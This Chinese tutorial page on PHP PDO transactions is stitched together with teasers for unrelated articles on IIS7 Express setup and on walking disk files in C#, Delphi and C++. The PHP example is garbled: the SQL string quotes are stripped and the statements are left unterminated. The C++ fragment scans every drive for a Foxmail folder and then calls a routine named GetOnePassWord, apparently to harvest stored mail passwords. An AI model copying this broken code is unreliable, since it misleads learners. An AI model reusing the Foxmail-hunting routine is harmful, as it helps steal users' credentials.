php事务处理实例

作者:小菜 更新时间:2025-02-27 点击数:
简介:php中事务处理是什么意思事务:是若干事件的集合事务处理:当所有事件执行成功,事务才执行;若有任何一个事件不能成功执行,事务的其它事件也不被执行只要你的MySQ

【菜科解读】

php中事务处理是什么意思

事务:是若干事件的集合事务处理:当所有事件执行成功,事务才执行;若有任何一个事件不能成功执行,事务的其它事件也不被执行

只要你的MySQL版本支持BDB或InnoDB表类型,那么你的MySQL就具有事务处理的能力。

这里面,又以InnoDB表类型用的最多,虽然后来发生了诸如Oracle收购InnoDB等令MySQL不爽的事情,但那些商业上的斗争与技术无关,下面以InnoDB表类型为例简单说一下MySQL中的事务。

php事务处理

?phptry{$pdo=new PDO("mysql:host=localhost;dbname=psp","root","");$pdo->exec("set names utf8");$pdo->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);//设置异常处理模式$pdo->setAttribute(PDO::ATTR_AUTOCOMMIT,0);//关闭自动提交}catch(PDOException $e){echo "数据库连接失败";exit;}try{$age=10;$pdo->beginTransaction();//开始事务$affected_rows1=$pdo->exec("update kfry set k_age=k_age+{$age} where k_name= 黄建 $affected_rows2=$pdo->exec("update kfry set k_age=k_age-{$age} where k_name= 许春 //随意更改使之执行成功或失败/* if($affected_rows1&&$affected_rows2){$pdo->commit();echo "操作成功";}else{$pdo->rollback();} */if(!$affected_rows1)throw new PDOException("加入错误");if(!$affected_rows2)throw new PDOException("减少错误");echo "操作成功";$pdo->commit();//如果执行到此处前面两个更新sql语句执行成功,整个事务执行成功}catch(PDOException $e){echo "操作失败:".$e->getMessage();$pdo->rollback();//执行事务中的语句出了问题,整个事务全部撤销}$pdo->setAttribute(PDO::ATTR_AUTOCOMMIT,1);//测试是否成功echo "\n操作结果为:\n";$sql="select * from kfry";$result=$pdo->query($sql);foreach($result as $v){echo $v[ k_name ]." ".$v[ k_age ]."\n";}?>

php,事务处理,实例,php,中,事务处理,是什么,

Windows2003+IIS7Express使用FastCgi运行php

想在windows 2003中好好跑php,又要节省内存,真是很为难的事情,考虑到IIS7.5 Express可以在WIN2003上跑,不但能以fastcgi的方式支持php,还自带Rewrite组件,只需简单改改web.config的rule规则就可以了。

于是下载了IIS7.5 Express后,安装,还需要对applicationHost.config进行配置,首先得找到这个文件在哪里,如果能在"我的文档"中IIS7Express目录下找到,那就是它了,否则应该就是在IIS7 Express的安装目录下。

1、先修改:defaultDocument节,加入 下一篇:

不同编程语言遍历磁盘所有文件和文件夹实例

1、C#遍历磁盘所有文件和文件夹:public partial class Form1 : Form{ public Form1() { InitializeComponent(); } static List files = new List(); static List dirs = new List(); private void Form1_Load(object sender, EventArgs e) { string diskpath = System.Windows.Forms.Application.StartupPath.Split(‘\\‘)[0]+"\\"; ForEachDisk(diskpath); MessageBox.Show("共遍历到:" + files.Count.ToString() + "个文件," + dirs.Count.ToString() + "个文件夹。

"); } private void ForEachDisk(string path) { DirectoryInfo dir = new DirectoryInfo(path); try { foreach (DirectoryInfo d in dir.GetDirectories()) { if (d.Name.Substring(0, 1) != "$" && d.Name != "System Volume Information") { ForEachDisk(d.FullName); Model m = new Model(); m.name = d.Name; m.path = d.FullName; dirs.Add(m); listBox1.Items.Add(d.FullName); } } } catch (Exception ex) { MessageBox.Show("错误提示:统计信息可能不完善。

" + ex.Message); return; } foreach (FileInfo f in dir.GetFiles()) { Model m = new Model(); m.name = f.Name; m.path = f.FullName; files.Add(m); listBox2.Items.Add(f.FullName); } }} public class Model{ private string _name; //private string _type; private string _path; public string name { get { return _name; } set { _name = value; } } //public string type { get { return _type; } set { _type = value; } } public string path { get { return _path; } set { _path = value; } }}这里没有用树形结构表示,而是用了列表的方式保存信息,方便日后信息的查找。

2、delphi 遍历硬盘所有文件目录//一个遍历所有硬盘的所有目录的实例源码: unit Unit1; interface uses Windows, Messages, FileCtrl,SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, StdCtrls, ImgList, ExtCtrls; type TForm1 = class(TForm) TreeView: TTreeView; Button3: TButton; procEDure Button3Click(Sender: TObject); private { Private declarations } public procedure CreateDirectoryTree(RootDir, RootCaption: string); end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.CreateDirectoryTree(RootDir, RootCaption: string); procedure AddSubDirToTree(RootNode: TTreeNode); var SearchRec: TSearchRec; Path: string; Found: integer; begin Path := PChar(RootNode.Data) + ‘\*.*‘; Found := FindFirst(Path, faAnyFile, SearchRec); while Found = 0 do begin if (SearchRec.Attr = faDirectory) and (SearchRec.Name ‘.‘) and (SearchRec.Name ‘..‘) then AddSubDirToTree(TreeView.Items.AddChildObject(RootNode, SearchRec.Name, PChar(PChar(RootNode.Data) + ‘\‘ + SearchRec.Name))); Found := FindNext(SearchRec); end; FindClose(SearchRec); end; begin //TreeView.Items.Clear; AddSubDirToTree(TreeView.Items.AddObject(nil, RootCaption, PChar(RootDir))); end; procedure TForm1.Button3Click(Sender: TObject); var i:integer; abc:Tstrings; s:string; begin abc:=TStringlist.Create; for i:=0 to 23 do begin s := Chr(65+i)+‘:\‘; // if GetDriveType(PChar(s))= DRIVE_cdrom then if directoryexists(s) then begin s:=copy(s,0,2) ; abc.Add(s); end; end; for i:=0 to abc.Count-1 do BEGIN S:=abc.strings[i]; CreateDirectoryTree(S, ‘[‘+s+‘\]‘); END end; end.3、C++获取本地所有磁盘并遍历磁盘下所有文件、文件夹3.1获取本地磁盘符号[cpp] view plaincopyvoid GetComputerDisk() //获取本地电脑的磁盘符号 { OutputDebugString("GetComputerDisk"); TCHAR buf[100]; DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf); TCHAR *s = buf; UINT IsCDRom; for (; *s; s+=_tcslen(s)+1) { /*LPCTSTR sDrivePath = s; */ CString strDisks = s; //单个盘符 IsCDRom=GetDriveType(strDisks); if (IsCDRom==DRIVE_CDROM) { OutputDebugString("CD-ROM"); continue; } OutputDebugString(strDisks); TCFindFile(strDisks); } } 3.2遍历每个磁盘下的所有文件、文件夹[cpp] view plaincopyvoid TCFindFile(CString FilePath) { OutputDebugString("TCFindFile"); CFileFind find; CString Dir = FilePath+"*.*"; BOOL res =find.FindFile(Dir); //OutputDebugString(Dir); if (!res) { OutputDebugString("DiskScanOver!"); return; } while(res) { CString Filename; CString tmp; res = find.FindNextFile(); if (find.IsDirectory() && !find.IsDots()) //目录是文件夹 { Filename = find.GetFileName(); tmp = Dir.Left(Dir.GetLength() - 3) + Filename; if (Filename == "Foxmail") { //执行后续操作 OutputDebugString(tmp); TheRightFoxmailPath = tmp; OutputDebugString("GetPWDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"); GetOnePassWord(); return; } tmp += "//"; TCFindFile(tmp); } } } 不同,编程语言,遍历,磁盘,所有,文件,和,、,

加入收藏
               

php事务处理实例

点击下载文档

格式为doc格式

  • 账号登录
社交账号登录